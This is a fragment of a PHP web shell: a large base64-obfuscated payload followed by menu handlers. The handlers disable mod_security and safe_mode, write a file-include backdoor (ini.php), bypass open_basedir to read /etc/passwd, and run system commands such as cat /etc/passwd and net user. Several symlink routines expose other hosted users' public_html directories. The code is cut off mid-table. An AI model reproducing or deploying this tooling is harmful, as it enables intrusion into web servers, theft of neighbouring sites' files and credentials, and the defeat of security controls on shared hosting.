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'))); ?></textarea> 
</td>
</tr>
<tr>
<td>
<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
 </td></tr></table>
</form>

<?php } 
# x=dmsec1
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec1')) {
@error_reporting(0); 
$htaccess=fopen('.htaccess','w');
$iniphp=fopen('ini.php','w');
 
$jablay="<IfModule mod_security.c>
SecFilterEngine OFF
SecFilterScanPOST OFF
</IfModule>";
$kimcil="<?
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"file\"]);
ini_restore(\"safe_mode\");
ini_restore(\"open_basedir\");
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"ss\"]);
?>";
fwrite($htaccess,$jablay);
fwrite($iniphp,$kimcil);
 
$kobel="<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>HTACCESS ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php Successfully :)</span></nobr><br/><br/><br/></center>";
echo $kobel;
} 

# x=dmsec2
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec2')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmsec2" method="post">

<?php
@error_reporting(0); 
$ayo=fopen('php.ini','w');
$blay=" safe_mode = OFF
disable_functions = NONE";
fwrite($ayo,$blay);
$hotel=" <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PHP.INI ]:=O</span></b></nobr><br/><br/> 
<nobr><span class='b9'>Generate php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
echo $hotel;
}

# x=dmsec3
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec3')) {
 
@error_reporting(0);
function CleanDir($d){
$d=str_replace("\","/",$d);
$d=str_replace("//","/",$d);
return $d;
}
if(isset($_POST['curl_bypass'])){
@error_reporting(0); 
$ch=curl_init("file://$_POST[file_bypass]");
curl_setopt($ch,CURLOPT_HEADERS,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$file_out=curl_exec($ch);
curl_close($ch);
echo "<br/><br/><center><textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70' >".htmlspecialchars($file_out)."</textarea></br></br>";
}

elseif(isset($_POST['tmp_bypass'])) {
tempnam("/home/",$_POST['file_passwd']);
 }
 
elseif(isset($_POST['copy_bypass'])) {
if(@copy($_POST['file_bypass'],$_POST['dest'])) {
@$fh=fopen($_POST['dest'],'r');
echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70'>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
@fclose($fh);
 } else echo "<center><br/><br/>
<h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
 }
echo "<br/><br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
<td colspan='3'> <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span><span class='b8'>BASEDIR ]:=O</span></b></nobr><br/><br/></center> </td>
</tr>
<tr>
<td>[~] Bypass Basedir cURL [~]</td>
<td>[~] Bypass Basedir tempnam() [~]</td>
<td>[~] Bypass Basedir copy() [~]</td> 
</tr>
<tr>
<td><nobr><form method='post' name='bypasser'>
FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td>

<td><nobr><form method='post' name='bypasser'>FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'> <input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'>
</nobr></form>
</td>
<td><nobr><form method='post' name='bypasser'>FILE COPY TO : <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/maho.txt'> <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'>
</nobr></form>
</td>
</table>"; 
}
 
# x=dmsec4
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec4')) { 

function dmprocess() {
if(!$win) {
$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");
} 
else {
$handler = "tasklist";
} 
$ret = myshellexec($handler); 
if (!$ret) {
echo "Can't execute \"".$handler."\"!";
} 
else {
if (empty($processes_sort)) {
$processes_sort = $sort_default;
} 
$parsesort = parsesort($processes_sort); 
if(!is_numeric($parsesort[0])) {
$parsesort[0] = 0;
} 
$k = $parsesort[0]; 
$ret = htmlspecialchars($ret); 
if(!$win) { 
if($pid) { 
if (is_null($sig)) {$sig = 9;} 
echo "Sending signal ".$sig." to #".$pid."... "; 
if (posix_kill($pid,$sig)) {
echo "OK.";
} 
else {
echo "ERROR.";
} 
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  "," ",$ret);
}
$stack = explode("
",$ret); 
$head = explode(" ",$stack[0]); 
unset($stack[0]);  
$prcs = array(); 

foreach ($stack as $line) { 
if(!empty($line)) { 
echo "<tr>"; 
$line = explode(" ",$line); 
$line[10] = join(" ",array_slice($line,10)); 
$line = array_slice($line,0,11); 
$prcs[] = $line; 
echo "</tr>"; 
} 
} 
}
else { 

while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
}
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
}
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
}
while (ereg("  ",$ret)) {
$ret = str_replace("  ","",$ret);
} 
while (ereg("",$ret)) {
$ret = str_replace("","",$ret);
}
while (ereg(" ",$ret)) {
$ret = str_replace(" ","",$ret);
} 
$ret = convert_cyr_string($ret,"d","w"); 
$stack = explode("
",$ret); 
unset($stack[0],$stack[2]); 
$stack = array_values($stack); 
$head = explode("",$stack[0]); 
$head[1] = explode(" ",$head[1]); 
$head[1] = $head[1][0]; 
$stack = array_slice($stack,1); 
unset($head[2]); 
$head = array_values($head); 
if ($k > count($head)) {
$k = count($head)-1;
} 
$prcs = array(); 
foreach ($stack as $line) { 
if (!empty($line)) { 
echo "<tr>"; 
$line = explode("",$line); 
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); 
$line[2] = intval(str_replace(" ","",$line[2]))*1024;  
$prcs[] = $line; 
echo "</tr>"; 
 } 
 } 
 }
$head[$k] = "<b>".$head[$k]."</b>".$y; 
$v = $processes_sort[0]; 
if($processes_sort[1] == "d") {
$prcs = array_reverse($prcs);
}
$tab = array(); 
$tab[] = $head; 
$tab = array_merge($tab,$prcs); 
echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
foreach($tab as $i=>$k) { 
echo "<tr>"; 
foreach($k as $j=>$v) {

if($win and $i > 0 and $j == 2) {
$v = view_size($v);
}
echo "<td>".$v."</td>";
} 
echo "</tr>"; 
}
echo "</table>"; 
}
}

echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PROCESS ]:=O</span></b></nobr><br/><br/>";

if($win) {
echo "<form method='post'>
<select class='inputz' name='windowsprocess'>
<option name='systeminfo'>System Info</option>
<option name='active'>Active Connections</option>
<option name='runningserv'>Running Services</option>
<option name='useracc'>User Accounts</option>
<option name='showcom'>Show Computers</option>
<option name='arptab'>ARP Table</option>
<option name='ipconf'>IP Configuration</option></select>
<input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
</form>";
} else {
echo "<form method='post'>
<select class='inputz' name='nonwindowsprocess'>
<option name='passwd'>Passwd</option> 
<option name='syslog'>Syslog</option>
<option name='resolv'>Resolv</option>
<option name='hosts'>Hosts</option>
<option name='cpuinfo'>Cpuinfo</option>
<option name='version'>Version</option>
<option name='sbin'>Sbin</option>
<option name='interrupts'>Interrupts</option>
<option name='lsattr'>lsattr</option>
<option name='uptime'>Uptime</option>
<option name='fstab'>Fstab</option>
<option name='hddspace'>HDD Space</option>
</select>
<input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
}

$windowsprocess = $_POST['windowsprocess'];
$nonwindowsprocess = $_POST['nonwindowsprocess'];
	
if ($windowsprocess=="System Info") $winruncom = "systeminfo";
if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
if ($windowsprocess=="Running Services") $winruncom = "net start";
if ($windowsprocess=="User Accounts") $winruncom = "net user";
if ($windowsprocess=="Show Computers") $winruncom = "net view";
if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
if ($nonwindowsprocess=="Syslog") $winruncom = "cat  /etc/syslog.conf";
if ($nonwindowsprocess=="Resolv") $winruncom = "cat  /etc/resolv.conf";
if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
if (isset($winruncom)) {
echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content'>".exe($winruncom)."</textarea></td></tr></table></center>";
}
if (isset($systeminfo)) {
echo "<br><br>";
dmprocess();
}
} 
 
# x=dmsym1
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym1')) { 
@session_start();
@set_time_limit(0);
@ini_set('max_execution_time',0);
if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
}
@mkdir('dm1sym',0777); 
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm1sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm1sym/dm.txt');  
$pg = basename(__FILE__);
 
 
if(is_readable("/var/named")){
echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
 
$i += 1;
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr>
<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
<td align='center'><font color='white'>".$owner['name']."</td>
<td align='center'><a href='dm1sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
}
}
flush();
flush();
}
echo "</tr></table></div></html>"; 
}

# x=dmsym2
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym2')) {
@session_start();
@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
@ini_set('max_execution_time',0);
 if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
} 
@mkdir('dm2sym',0777);
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm2sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm2sym/dm.txt');  
$pg = basename(__FILE__);
 
if(is_readable("/etc/passwd-")){
$gelartiker = 'file_get_contents'; 
$seret = '/etc/passwd-'; 
$isikarung = $gelartiker($seret);
$buka = fopen('maho.txt', 'w');
fwrite($buka,$isikarung);
}

if(isset($_GET['file']) or @filesize('maho.txt') > 0) {
$cont = stripcslashes($_POST['file']);
if(!file_exists('maho.txt')){
$f = @fopen('maho.txt','w');
$w = @fwrite($f,$cont);
fclose($f);
}
if($w or @filesize('maho.txt') > 0){
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/PASSWD- ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'> 
<td align='center'> <font color='white'> <b>_USERS_</b></td>
<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
flush();
$fil3 = file('maho.txt');
foreach ($fil3 as $f){
$u=explode(':', $f);
$user = $u['0'];
echo "<tr>
<td align='center'><font color='white'>$user</td>
<td align='center'><a class='dm' href='dm2sym/dm.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
flush();
flush();
}
echo "</tr></table></div></html>"; 
}
}
}
 
# x=dmsym3
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym3')) {
@session_start();
@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
@ini_set('max_execution_time',0);
if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
} 
@mkdir('dm3sym',0777); 
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm3sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm3sym/dm.txt');  
$pg = basename(__FILE__);
 
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
if(is_readable("/etc/passwd")){
echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/PASSWD ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
echo'<tr>
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';

$list = scandir("/var/named");
foreach($etcz as $etz){
$etcc = explode(":",$etz);
foreach($list as $domain) {
if(strpos($domain,".db")) {
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
if($owner['name'] == $etcc[0]){
$i += 1;
echo "<tr>
<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
<td align='center'><font color='white'>".$owner['name']."</font></td>
<td align='center'><a href='dm3sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
} } } }
flush();
flush();
}
echo "</tr></table></div></html>"; 
 
} 
 
# x=dmsym4
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym4')) {
@session_start();
@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
@ini_set('max_execution_time',0);
if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
} 
@mkdir('dm4sym',0777); 
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm4sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm4sym/dm.txt');  
$pg = basename(__FILE__);

if(is_readable("/etc/named.conf")){
echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/NAMED.CONF ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
echo '<tr>
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
